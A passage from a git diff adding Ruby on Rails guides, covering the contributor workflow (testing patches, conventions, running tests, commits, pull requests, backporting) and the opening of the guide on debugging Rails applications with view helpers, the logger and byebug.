as explained later on in the "[Contributing to the Rails Code](#contributing-to-the-rails-code)" section. + +Anything you can do to make bug reports more succinct or easier to reproduce helps folks trying to write code to fix those bugs - whether you end up writing the code yourself or not. + +### Testing Patches + +You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. In order to apply someone's changes, you need to first create a dedicated branch: + +```bash +$ git checkout -b testing_branch +``` + +Then, you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails. + +```bash +$ git remote add JohnSmith https://github.com/JohnSmith/rails.git +$ git pull JohnSmith orange +``` + +After applying their branch, test it out! Here are some things to think about: + +* Does the change actually work? +* Are you happy with the tests? Can you follow what they're testing? Are there any tests missing? +* Does it have the proper documentation coverage? Should documentation elsewhere be updated? +* Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change? + +Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like: + +>I like the way you've restructured that code in generate_finder_sql - much nicer. The tests look good too. + +If your comment simply reads "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request. + +Contributing to the Rails Documentation +--------------------------------------- + +Ruby on Rails has two main sets of documentation: the guides, which help you +learn about Ruby on Rails, and the API, which serves as a reference. + +You can help improve the Rails guides by making them more coherent, consistent, or readable, adding missing information, correcting factual errors, fixing typos, or bringing them up to date with the latest edge Rails. + +To do so, make changes to Rails guides source files (located [here](https://github.com/rails/rails/tree/master/guides/source) on GitHub). Then open a pull request to apply your +changes to the master branch. + +When working with documentation, please take into account the [API Documentation Guidelines](api_documentation_guidelines.html) and the [Ruby on Rails Guides Guidelines](ruby_on_rails_guides_guidelines.html). + +NOTE: To help our CI servers you should add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes. + +Translating Rails Guides +------------------------ + +We are happy to have people volunteer to translate the Rails guides. Just follow these steps: + +* Fork https://github.com/rails/rails. +* Add a source folder for your own language, for example: *guides/source/it-IT* for Italian. +* Copy the contents of *guides/source* into your own language directory and translate them. +* Do NOT translate the HTML files, as they are automatically generated. + +Note that translations are not submitted to the Rails repository. As detailed above, your work happens in a fork. This is so because in practice documentation maintenance via patches is only sustainable in English. + +To generate the guides in HTML format cd into the *guides* directory then run (eg. for it-IT): + +```bash +$ bundle install +$ bundle exec rake guides:generate:html GUIDES_LANGUAGE=it-IT +``` + +This will generate the guides in an *output* directory. + +NOTE: The instructions are for Rails > 4. The Redcarpet Gem doesn't work with JRuby. + +Translation efforts we know about (various versions): + +* **Italian**: [https://github.com/rixlabs/docrails](https://github.com/rixlabs/docrails) +* **Spanish**: [https://github.com/gramos/docrails/wiki](https://github.com/gramos/docrails/wiki) +* **Polish**: [https://github.com/apohllo/docrails](https://github.com/apohllo/docrails) +* **French** : [https://github.com/railsfrance/docrails](https://github.com/railsfrance/docrails) +* **Czech** : [https://github.com/rubyonrails-cz/docrails/tree/czech](https://github.com/rubyonrails-cz/docrails/tree/czech) +* **Turkish** : [https://github.com/ujk/docrails](https://github.com/ujk/docrails) +* **Korean** : [https://github.com/rorlakr/rails-guides](https://github.com/rorlakr/rails-guides) +* **Simplified Chinese** : [https://github.com/ruby-china/guides](https://github.com/ruby-china/guides) +* **Traditional Chinese** : [https://github.com/docrails-tw/guides](https://github.com/docrails-tw/guides) +* **Russian** : [https://github.com/morsbox/rusrails](https://github.com/morsbox/rusrails) +* **Japanese** : [https://github.com/yasslab/railsguides.jp](https://github.com/yasslab/railsguides.jp) + +Contributing to the Rails Code +------------------------------ + +### Setting Up a Development Environment + +To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide, you'll learn how to setup the tests on your own computer. + +#### The Easy Way + +The easiest and recommended way to get a development environment ready to hack is to use the [rails-dev-box](https://github.com/rails/rails-dev-box). + +#### The Hard Way + +In case you can't use the Rails development box, see [this other guide](development_dependencies_install.html). + +### Clone the Rails Repository + +To be able to contribute code, you need to clone the Rails repository: + +```bash +$ git clone https://github.com/rails/rails.git +``` + +and create a dedicated branch: + +```bash +$ cd rails +$ git checkout -b my_new_branch +``` + +It doesn't matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository. + +### Bundle install + +Install the required gems. + +```bash +$ bundle install +``` + +### Running an Application Against Your Local Branch + +In case you need a dummy Rails app to test changes, the `--dev` flag of `rails new` generates an application that uses your local branch: + +```bash +$ cd rails +$ bundle exec rails new ~/my-test-app --dev +``` + +The application generated in `~/my-test-app` runs against your local branch +and in particular sees any modifications upon server reboot. + +### Write Your Code + +Now get busy and add/edit code. You're on your branch now, so you can write whatever you want (make sure you're on the right branch with `git branch -a`). But if you're planning to submit your change back for inclusion in Rails, keep a few things in mind: + +* Get the code right. +* Use Rails idioms and helpers. +* Include tests that fail without your code, and pass with it. +* Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution. + +TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted (read more about [our rationales behind this decision](https://github.com/rails/rails/pull/13771#issuecomment-32746700)). + +#### Follow the Coding Conventions + +Rails follows a simple set of coding style conventions: + +* Two spaces, no tabs (for indentation). +* No trailing whitespace. Blank lines should not have any spaces. +* Indent after private/protected. +* Use Ruby >= 1.9 syntax for hashes. Prefer `{ a: :b }` over `{ :a => :b }`. +* Prefer `&&`/`||` over `and`/`or`. +* Prefer class << self over self.method for class methods. +* Use `my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`. +* Use `a = b` and not `a=b`. +* Use assert\_not methods instead of refute. +* Prefer `method { do_stuff }` instead of `method{do_stuff}` for single-line blocks. +* Follow the conventions in the source you see used already. + +The above are guidelines - please use your best judgment in using them. + +Additionally, we have [RuboCop](https://www.rubocop.org/) rules defined to codify some of our coding conventions. You can run RuboCop locally against the file that you have modified before submitting a pull request: + +```bash +$ rubocop actionpack/lib/action_controller/metal/strong_parameters.rb +Inspecting 1 file +. + +1 file inspected, no offenses detected +``` + +For `rails-ujs` CoffeeScript and JavaScript files, you can run `npm run lint` in `actionview` folder. + +### Benchmark Your Code + +For changes that might have an impact on performance, please benchmark your +code and measure the impact. Please share the benchmark script you used as well +as the results. You should consider including this information in your commit +message, which allows future contributors to easily verify your findings and +determine if they are still relevant. (For example, future optimizations in the +Ruby VM might render certain optimizations unnecessary.) + +It is very easy to make an optimization that improves performance for a +specific scenario you care about but regresses on other common cases. +Therefore, you should test your change against a list of representative +scenarios. Ideally, they should be based on real-world scenarios extracted +from production applications. + +You can use the [benchmark template](https://github.com/rails/rails/blob/master/guides/bug_report_templates/benchmark.rb) +as a starting point. It includes the boilerplate code to setup a benchmark +using the [benchmark-ips](https://github.com/evanphx/benchmark-ips) gem. The +template is designed for testing relatively self-contained changes that can be +inlined into the script. + +### Running Tests + +It is not customary in Rails to run the full test suite before pushing +changes. The railties test suite in particular takes a long time, and takes an +especially long time if the source code is mounted in `/vagrant` as happens in +the recommended workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box). + +As a compromise, test what your code obviously affects, and if the change is +not in railties, run the whole test suite of the affected component. If all +tests are passing, that's enough to propose your contribution. We have +[Travis CI](https://travis-ci.org/rails/rails) as a safety net for catching +unexpected breakages elsewhere. + +#### Entire Rails: + +To run all the tests, do: + +```bash +$ cd rails +$ bundle exec rake test +``` + +#### For a Particular Component + +You can run tests only for a particular component (e.g. Action Pack). For example, +to run Action Mailer tests: + +```bash +$ cd actionmailer +$ bundle exec rake test +``` + +#### For a Specific Directory + +If you want to run the tests located in a specific directory use the `TEST_DIR` +environment variable. For example, this will run the tests in the +`railties/test/generators` directory only: + +```bash +$ cd railties +$ TEST_DIR=generators bundle exec rake test +``` + +#### For a Specific File + +You can run the tests for a particular file by using: + +```bash +$ cd actionpack +$ bundle exec ruby -w -Itest test/template/form_helper_test.rb +``` + +#### Running a Single Test + +You can run a single test through ruby. For instance: + +```bash +$ cd actionmailer +$ bundle exec ruby -w -Itest test/mail_layout_test.rb -n test_explicit_class_layout +``` + +The `-n` option allows you to run a single method instead of the whole file. + +#### Running tests with a specific seed + +Test execution is randomized with a randomization seed. If you are experiencing random +test failures you can more accurately reproduce a failing test scenario by specifically +setting the randomization seed. + +Running all tests for a component: + +```bash +$ cd actionmailer +$ SEED=15002 bundle exec rake test +``` + +Running a single test file: + +```bash +$ cd actionmailer +$ SEED=15002 bundle exec ruby -w -Itest test/mail_layout_test.rb +``` + +#### Testing Active Record + +First, create the databases you'll need. You can find a list of the required +table names, usernames, and passwords in `activerecord/test/config.example.yml`. + +For MySQL and PostgreSQL, running the SQL statements `create database +activerecord_unittest` and `create database activerecord_unittest2` is +sufficient. This is not necessary for SQLite3. + +This is how you run the Active Record test suite only for SQLite3: + +```bash +$ cd activerecord +$ bundle exec rake test:sqlite3 +``` + +You can now run the tests as you did for `sqlite3`. The tasks are respectively: + +```bash +test:mysql2 +test:postgresql +``` + +Finally, + +```bash +$ bundle exec rake test +``` + +will now run the three of them in turn. + +You can also run any single test separately: + +```bash +$ ARCONN=sqlite3 bundle exec ruby -Itest test/cases/associations/has_many_associations_test.rb +``` + +To run a single test against all adapters, use: + +```bash +$ bundle exec rake TEST=test/cases/associations/has_many_associations_test.rb +``` + +You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS.rdoc` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server. + +### Warnings + +The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings. + +### Updating the CHANGELOG + +The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version. + +You should add an entry **to the top** of the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix, or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG. + +A CHANGELOG entry should summarize what was changed and should end with the author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach the issue's number. Here is an example CHANGELOG entry: + +``` +* Summary of a change that briefly describes what was changed. You can use multiple + lines and wrap them at around 80 characters. Code examples are ok, too, if needed: + + class Foo + def bar + puts 'baz' + end + end + + You can continue after the code example and you can attach issue number. Fixes #1234. + + *Your Name* +``` + +Your name can be added directly after the last word if there are no code +examples or multiple paragraphs. Otherwise, it's best to make a new paragraph. + +### Updating the Gemfile.lock + +Some changes require the dependencies to be upgraded. In these cases make sure you run `bundle update` to get the right version of the dependency and commit the `Gemfile.lock` file within your changes. + +### Commit Your Changes + +When you're happy with the code on your computer, you need to commit the changes to Git: + +```bash +$ git commit -a +``` + +This should fire up your editor to write a commit message. When you have +finished, save and close to continue. + +A well-formatted and descriptive commit message is very helpful to others for +understanding why the change was made, so please take the time to write it. + +A good commit message looks like this: + +``` +Short summary (ideally 50 characters or less) + +More detailed description, if necessary. It should be wrapped to +72 characters. Try to be as descriptive as you can. Even if you +think that the commit content is obvious, it may not be obvious +to others. Add any description that is already present in the +relevant issues; it should not be necessary to visit a webpage +to check the history. + +The description section can have multiple paragraphs. + +Code examples can be embedded by indenting them with 4 spaces: + + class ArticlesController + def index + render json: Article.limit(10) + end + end + +You can also add bullet points: + +- make a bullet point by starting a line with either a dash (-) + or an asterisk (*) + +- wrap lines at 72 characters, and indent any additional lines + with 2 spaces for readability +``` + +TIP. Please squash your commits into a single commit when appropriate. This +simplifies future cherry picks and keeps the git log clean. + +### Update Your Branch + +It's pretty likely that other changes to master have happened while you were working. Go get them: + +```bash +$ git checkout master +$ git pull --rebase +``` + +Now reapply your patch on top of the latest changes: + +```bash +$ git checkout my_new_branch +$ git rebase master +``` + +No conflicts? Tests still pass? Change still seems reasonable to you? Then move on. + +### Fork + +Navigate to the Rails [GitHub repository](https://github.com/rails/rails) and press "Fork" in the upper right hand corner. + +Add the new remote to your local repository on your local machine: + +```bash +$ git remote add fork https://github.com/<your user name>/rails.git +``` + +You may have cloned your local repository from rails/rails or you may have cloned from your forked repository. To avoid ambiguity the following git commands assume that you have made a "rails" remote that points to rails/rails. + +```bash +$ git remote add rails https://github.com/rails/rails.git +``` + +Download new commits and branches from the official repository: + +```bash +$ git fetch rails +``` + +Merge the new content: + +```bash +$ git checkout master +$ git rebase rails/master +$ git checkout my_new_branch +$ git rebase rails/master +``` + +Update your fork: + +```bash +$ git push fork master +$ git push fork my_new_branch +``` + +### Issue a Pull Request + +Navigate to the Rails repository you just pushed to (e.g. +https://github.com/your-user-name/rails) and click on "Pull Requests" seen in +the right panel. On the next page, press "New pull request" in the upper right +hand corner. + +Click on "Edit", if you need to change the branches being compared (it compares +"master" by default) and press "Click to create a pull request for this +comparison". + +Ensure the changesets you introduced are included. Fill in some details about +your potential patch including a meaningful title. When finished, press "Send +pull request". The Rails core team will be notified about your submission. + +### Get some Feedback + +Most pull requests will go through a few iterations before they get merged. +Different contributors will sometimes have different opinions, and often +patches will need to be revised before they can get merged. + +Some contributors to Rails have email notifications from GitHub turned on, but +others do not. Furthermore, (almost) everyone who works on Rails is a +volunteer, and so it may take a few days for you to get your first feedback on +a pull request. Don't despair! Sometimes it's quick, sometimes it's slow. Such +is the open source life. + +If it's been over a week, and you haven't heard anything, you might want to try +and nudge things along. You can use the [rubyonrails-core mailing +list](https://groups.google.com/forum/#!forum/rubyonrails-core) for this. You can also +leave another comment on the pull request. + +While you're waiting for feedback on your pull request, open up a few other +pull requests and give someone else some! I'm sure they'll appreciate it in +the same way that you appreciate feedback on your patches. + +### Iterate as Necessary + +It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into the knowledge of the community. If people are encouraging you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code doesn't belong in the core, you might still think about releasing it as a gem. + +#### Squashing commits + +One of the things that we may ask you to do is to "squash your commits", which +will combine all of your commits into a single commit. We prefer pull requests +that are a single commit. This makes it easier to backport changes to stable +branches, squashing makes it easier to revert bad commits, and the git history +can be a bit easier to follow. Rails is a large project, and a bunch of +extraneous commits can add a lot of noise. + +```bash +$ git fetch rails +$ git checkout my_new_branch +$ git rebase -i rails/master + +< Choose 'squash' for all of your commits except the first one. > +< Edit the commit message to make sense, and describe all your changes. > + +$ git push fork my_new_branch --force-with-lease +``` + +You should be able to refresh the pull request on GitHub and see that it has +been updated. + +#### Updating a pull request + +Sometimes you will be asked to make some changes to the code you have +already committed. This can include amending existing commits. In this +case Git will not allow you to push the changes as the pushed branch +and local branch do not match. Instead of opening a new pull request, +you can force push to your branch on GitHub as described earlier in +squashing commits section: + +```bash +$ git push fork my_new_branch --force-with-lease +``` + +This will update the branch and pull request on GitHub with your new code. +By force pushing with `--force-with-lease`, git will more safely update +the remote than with a typical `-f`, which can delete work from the remote +that you don't already have. + +### Older Versions of Ruby on Rails + +If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 4-0-stable branch: + +```bash +$ git branch --track 4-0-stable rails/4-0-stable +$ git checkout 4-0-stable +``` + +TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with. + +#### Backporting + +Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort. + +For simple fixes, the easiest way to backport your changes is to [extract a diff from your changes in master and apply them to the target branch](http://ariejan.net/2009/10/26/how-to-create-and-apply-a-patch-with-git). + +First, make sure your changes are the only difference between your current branch and master: + +```bash +$ git log master..HEAD +``` + +Then extract the diff: + +```bash +$ git format-patch master --stdout > ~/my_changes.patch +``` + +Switch over to the target branch and apply your changes: + +```bash +$ git checkout -b my_backport_branch 4-2-stable +$ git apply ~/my_changes.patch +``` + +This works well for simple changes. However, if your changes are complicated or if the code in master has deviated significantly from your target branch, it might require more work on your part. The difficulty of a backport varies greatly from case to case, and sometimes it is simply not worth the effort. + +Once you have resolved all conflicts and made sure all the tests are passing, push your changes and open a separate pull request for your backport. It is also worth noting that older branches might have a different set of build targets than master. When possible, it is best to first test your backport locally against the Ruby versions listed in `.travis.yml` before submitting your pull request. + +And then... think about your next contribution! + +Rails Contributors +------------------ + +All contributions get credit in [Rails Contributors](http://contributors.rubyonrails.org). diff --git a/guides/source/debugging_rails_applications.md b/guides/source/debugging_rails_applications.md new file mode 100644 index 0000000000..3a383cbd4d --- /dev/null +++ b/guides/source/debugging_rails_applications.md @@ -0,0 +1,991 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Debugging Rails Applications +============================ + +This guide introduces techniques for debugging Ruby on Rails applications. + +After reading this guide, you will know: + +* The purpose of debugging. +* How to track down problems and issues in your application that your tests aren't identifying. +* The different ways of debugging. +* How to analyze the stack trace. + +-------------------------------------------------------------------------------- + +View Helpers for Debugging +-------------------------- + +One common task is to inspect the contents of a variable. Rails provides three different ways to do this: + +* `debug` +* `to_yaml` +* `inspect` + +### `debug` + +The `debug` helper will return a \<pre> tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view: + +```html+erb +<%= debug @article %> +<p> + <b>Title:</b> + <%= @article.title %> +</p> +``` + +You'll see something like this: + +```yaml +--- !ruby/object Article +attributes: + updated_at: 2008-09-05 22:55:47 + body: It's a very helpful guide for debugging your Rails app. + title: Rails debugging guide + published: t + id: "1" + created_at: 2008-09-05 22:55:47 +attributes_cache: {} + + +Title: Rails debugging guide +``` + +### `to_yaml` + +Alternatively, calling `to_yaml` on any object converts it to YAML. You can pass this converted object into the `simple_format` helper method to format the output. This is how `debug` does its magic. + +```html+erb +<%= simple_format @article.to_yaml %> +<p> + <b>Title:</b> + <%= @article.title %> +</p> +``` + +The above code will render something like this: + +```yaml +--- !ruby/object Article +attributes: +updated_at: 2008-09-05 22:55:47 +body: It's a very helpful guide for debugging your Rails app. +title: Rails debugging guide +published: t +id: "1" +created_at: 2008-09-05 22:55:47 +attributes_cache: {} + +Title: Rails debugging guide +``` + +### `inspect` + +Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes. This will print the object value as a string. For example: + +```html+erb +<%= [1, 2, 3, 4, 5].inspect %> +<p> + <b>Title:</b> + <%= @article.title %> +</p> +``` + +Will render: + +``` +[1, 2, 3, 4, 5] + +Title: Rails debugging guide +``` + +The Logger +---------- + +It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment. + +### What is the Logger? + +Rails makes use of the `ActiveSupport::Logger` class to write log information. Other loggers, such as `Log4r`, may also be substituted. + +You can specify an alternative logger in `config/application.rb` or any other environment file, for example: + +```ruby +config.logger = Logger.new(STDOUT) +config.logger = Log4r::Logger.new("Application Log") +``` + +Or in the `Initializer` section, add _any_ of the following + +```ruby +Rails.logger = Logger.new(STDOUT) +Rails.logger = Log4r::Logger.new("Application Log") +``` + +TIP: By default, each log is created under `Rails.root/log/` and the log file is named after the environment in which the application is running. + +### Log Levels + +When something is logged, it's printed into the corresponding log if the log +level of the message is equal to or higher than the configured log level. If you +want to know the current log level, you can call the `Rails.logger.level` +method. + +The available log levels are: `:debug`, `:info`, `:warn`, `:error`, `:fatal`, +and `:unknown`, corresponding to the log level numbers from 0 up to 5, +respectively. To change the default log level, use + +```ruby +config.log_level = :warn # In any environment initializer, or +Rails.logger.level = 0 # at any time +``` + +This is useful when you want to log under development or staging without flooding your production log with unnecessary information. + +TIP: The default Rails log level is `debug` in all environments. + +### Sending Messages + +To write in the current log use the `logger.(debug|info|warn|error|fatal)` method from within a controller, model, or mailer: + +```ruby +logger.debug "Person attributes hash: #{@person.attributes.inspect}" +logger.info "Processing the request..." +logger.fatal "Terminating application, raised unrecoverable error!!!" +``` + +Here's an example of a method instrumented with extra logging: + +```ruby +class ArticlesController < ApplicationController + # ... + + def create + @article = Article.new(article_params) + logger.debug "New article: #{@article.attributes.inspect}" + logger.debug "Article should be valid: #{@article.valid?}" + + if @article.save + logger.debug "The article was saved and now the user is going to be redirected..." + redirect_to @article, notice: 'Article was successfully created.' + else + render :new + end + end + + # ... + + private + def article_params + params.require(:article).permit(:title, :body, :published) + end +end +``` + +Here's an example of the log generated when this controller action is executed: + +``` +Started POST "/articles" for 127.0.0.1 at 2018-10-18 20:09:23 -0400 +Processing by ArticlesController#create as HTML + Parameters: {"utf8"=>"✓", "authenticity_token"=>"XLveDrKzF1SwaiNRPTaMtkrsTzedtebPPkmxEFIU0ordLjICSnXsSNfrdMa4ccyBjuGwnnEiQhEoMN6H1Gtz3A==", "article"=>{"title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs.", "published"=>"0"}, "commit"=>"Create Article"} +New article: {"id"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs.", "published"=>false, "created_at"=>nil, "updated_at"=>nil} +Article should be valid: true + (0.0ms) begin transaction + ↳ app/controllers/articles_controller.rb:31 + Article Create (0.5ms) INSERT INTO "articles" ("title", "body", "published", "created_at", "updated_at") VALUES (?, ?, ?, ?, ?) [["title", "Debugging Rails"], ["body", "I'm learning how to print in logs."], ["published", 0], ["created_at", "2018-10-19 00:09:23.216549"], ["updated_at", "2018-10-19 00:09:23.216549"]] + ↳ app/controllers/articles_controller.rb:31 + (2.3ms) commit transaction + ↳ app/controllers/articles_controller.rb:31 +The article was saved and now the user is going to be redirected... +Redirected to http://localhost:3000/articles/1 +Completed 302 Found in 4ms (ActiveRecord: 0.8ms) +``` + +Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels to avoid filling your production logs with useless trivia. + +### Verbose Query Logs + +When looking at database query output in logs, it may not be immediately clear why multiple database queries are triggered when a single method is called: + +``` +irb(main):001:0> Article.pamplemousse + Article Load (0.4ms) SELECT "articles".* FROM "articles" + Comment Load (0.2ms) SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ? [["article_id", 1]] + Comment Load (0.1ms) SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ? [["article_id", 2]] + Comment Load (0.1ms) SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ? [["article_id", 3]] +=> #<Comment id: 2, author: "1", body: "Well, actually...", article_id: 1, created_at: "2018-10-19 00:56:10", updated_at: "2018-10-19 00:56:10"> +``` + +After running `ActiveRecord::Base.verbose_query_logs = true` in the `rails console` session to enable verbose query logs and running the method again, it becomes obvious what single line of code is generating all these discrete database calls: + +``` +irb(main):003:0> Article.pamplemousse + Article Load (0.2ms) SELECT "articles".* FROM "articles" + ↳ app/models/article.rb:5 + Comment Load (0.1ms) SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ? [["article_id", 1]] + ↳ app/models/article.rb:6 + Comment Load (0.1ms) SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ? [["article_id", 2]] + ↳ app/models/article.rb:6 + Comment Load (0.1ms) SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ? [["article_id", 3]] + ↳ app/models/article.rb:6 +=> #<Comment id: 2, author: "1", body: "Well, actually...", article_id: 1, created_at: "2018-10-19 00:56:10", updated_at: "2018-10-19 00:56:10"> +``` + +Below each database statement you can see arrows pointing to the specific source filename (and line number) of the method that resulted in a database call. This can help you identify and address performance problems caused by N+1 queries: single database queries that generates multiple additional queries. + +Verbose query logs are enabled by default in the development environment logs after Rails 5.2. + +WARNING: We recommend against using this setting in production environments. It relies on Ruby's `Kernel#caller` method which tends to allocate a lot of memory in order to generate stacktraces of method calls. + +### Tagged Logging + +When running multi-user, multi-account applications, it's often useful +to be able to filter the logs using some custom rules. `TaggedLogging` +in Active Support helps you do exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications. + +```ruby +logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT)) +logger.tagged("BCX") { logger.info "Stuff" } # Logs "[BCX] Stuff" +logger.tagged("BCX", "Jason") { logger.info "Stuff" } # Logs "[BCX] [Jason] Stuff" +logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff" +``` + +### Impact of Logs on Performance +Logging will always have a small impact on the performance of your Rails app, + particularly when logging to disk. Additionally, there are a few subtleties: + +Using the `:debug` level will have a greater performance penalty than `:fatal`, + as a far greater number of strings are being evaluated and written to the + log output (e.g. disk). + +Another potential pitfall is too many calls to `Logger` in your code: + +```ruby +logger.debug "Person attributes hash: #{@person.attributes.inspect}" +``` + +In the above example, there will be a performance impact even if the allowed +output level doesn't include debug. The reason is that Ruby has to evaluate +these strings, which includes instantiating the somewhat heavy `String` object +and interpolating the variables. +Therefore, it's recommended to pass blocks to the logger methods, as these are +only evaluated if the output level is the same as — or included in — the allowed level +(i.e. lazy loading). The same code rewritten would be: + +```ruby +logger.debug {"Person attributes hash: #{@person.attributes.inspect}"} +``` + +The contents of the block, and therefore the string interpolation, are only +evaluated if debug is enabled. This performance savings are only really +noticeable with large amounts of logging, but it's a good practice to employ. + +Debugging with the `byebug` gem +--------------------------------- + +When your code is behaving in unexpected ways, you can try printing to logs or +the console to diagnose the problem. Unfortunately, there are times when this +sort of error tracking is not effective in finding the root cause of a problem. +When you actually need to journey into your running source code, the debugger +is your best companion. + +The debugger can also help you if you want to learn about the Rails source code +but don't know where to start. Just debug any request to your application and +use this guide to learn how to move from the code you have written into the +underlying Rails code. + +### Setup + +You can use the `byebug` gem to set breakpoints and step through live code in +Rails. To install it, just run: + +```bash +$ gem install byebug +``` + +Inside any Rails application you can then invoke the debugger by calling the +`byebug` method. + +Here's an example: + +```ruby +class PeopleController < ApplicationController + def new + byebug + @person = Person.new + end +end +``` + +### The Shell + +As soon as your application calls the `byebug` method, the debugger will be +started in a debugger shell inside the terminal window where you launched your +application server, and you will be placed at the debugger's prompt `(byebug)`. +Before the prompt, the code around the line that is about to be run will be +displayed and the current line will be marked by '=>', like this: + +``` +[1, 10] in /PathTo/project/app/controllers/articles_controller.rb + 3: + 4: # GET /articles + 5: # GET /articles.json + 6: def index + 7: byebug +=> 8: @articles = Article.find_recent + 9: + 10: respond_to do |format| + 11: format.html # index.html.erb + 12: format.json { render json: @articles } + +(byebug) +``` + +If you got there by a browser request, the browser tab containing the request +will be hung until the debugger has finished and the trace has finished +processing the entire request. + +For example: + +```bash +=> Booting Puma +=> Rails 5.1.0 application starting in development on http://0.0.0.0:3000 +=> Run `rails server -h` for more startup options +Puma starting in single mode... +* Version 3.4.0 (ruby 2.3.1-p112), codename: Owl Bowl Brawl +* Min threads: 5, max threads: 5 +* Environment: development +* Listening on tcp://localhost:3000 +Use Ctrl-C to stop +Started GET "/" for 127.0.0.1 at 2014-04-11 13:11:48 +0200 + ActiveRecord::SchemaMigration Load (0.2ms) SELECT "schema_migrations".* FROM "schema_migrations" +Processing by ArticlesController#index as HTML + +[3, 12] in /PathTo/project/app/controllers/articles_controller.rb + 3: + 4: # GET /articles + 5: # GET /articles.json + 6: def index + 7: byebug +=> 8: @articles = Article.find_recent + 9: + 10: respond_to do |format| + 11: format.html # index.html.erb + 12: format.json { render json: @articles } +(byebug) +``` + +Now it's time to explore your application. A good place to start is +by asking the debugger for help. Type: `help` + +``` +(byebug) help + + break -- Sets breakpoints in the source code + catch -- Handles exception catchpoints + condition -- Sets conditions on breakpoints + continue -- Runs until program ends, hits a breakpoint or reaches a line + debug -- Spawns a subdebugger + delete -- Deletes breakpoints + disable -- Disables breakpoints or displays + display -- Evaluates expressions every time the debugger stops + down -- Moves to a lower frame in the stack trace + edit -- Edits source files + enable -- Enables breakpoints or displays + finish -- Runs the program until frame returns + frame -- Moves to a frame in the call stack + help -- Helps you using byebug + history -- Shows byebug's history of commands + info -- Shows several informations about the program being debugged + interrupt -- Interrupts the program + irb -- Starts an IRB session + kill -- Sends a signal to the current process + list -- Lists lines of source code + method -- Shows methods of an object, class or module + next -- Runs one or more lines of code + pry -- Starts a Pry session + quit -- Exits byebug + restart -- Restarts the debugged program + save -- Saves current byebug session to a file + set -- Modifies byebug settings + show -- Shows byebug settings + source -- Restores a previously saved byebug session + step -- Steps into blocks or methods one or more times + thread -- Commands to manipulate threads + tracevar -- Enables tracing of a global variable + undisplay -- Stops displaying all or some expressions when program stops + untracevar -- Stops tracing a global variable + up -- Moves to a higher frame in the stack trace + var -- Shows variables and its values + where -- Displays the backtrace + +(byebug) +``` + +To see the previous ten lines you should type `list-` (or `l-`). + +``` +(byebug) l- + +[1, 10] in /PathTo/project/app/controllers/articles_controller.rb + 1 class ArticlesController < ApplicationController + 2 before_action :set_article, only: [:show, :edit, :update, :destroy] + 3 + 4 # GET /articles + 5 # GET /articles.json + 6 def index + 7 byebug + 8 @articles = Article.find_recent + 9 + 10 respond_to do |format| +``` + +This way you can move inside the file and see the code above the line where you +added the `byebug` call. Finally, to see where you are in the code again you can +type `list=` + +``` +(byebug) list= + +[3, 12] in /PathTo/project/app/controllers/articles_controller.rb + 3: + 4: # GET /articles + 5: # GET /articles.json + 6: def index + 7: byebug +=> 8: @articles = Article.find_recent + 9: + 10: respond_to do |format| + 11: format.html # index.html.erb + 12: format.json { render json: @articles } +(byebug) +``` + +### The Context + +When you start debugging your application, you will be placed in different +contexts as you go through the different parts of the stack. + +The debugger creates a context when a stopping point or an event is reached. The +context has information about the suspended program which enables the debugger +to inspect the frame stack, evaluate variables from the perspective of the +debugged program, and know the place where the debugged program is stopped. + +At any time you can call the `backtrace` command (or its alias 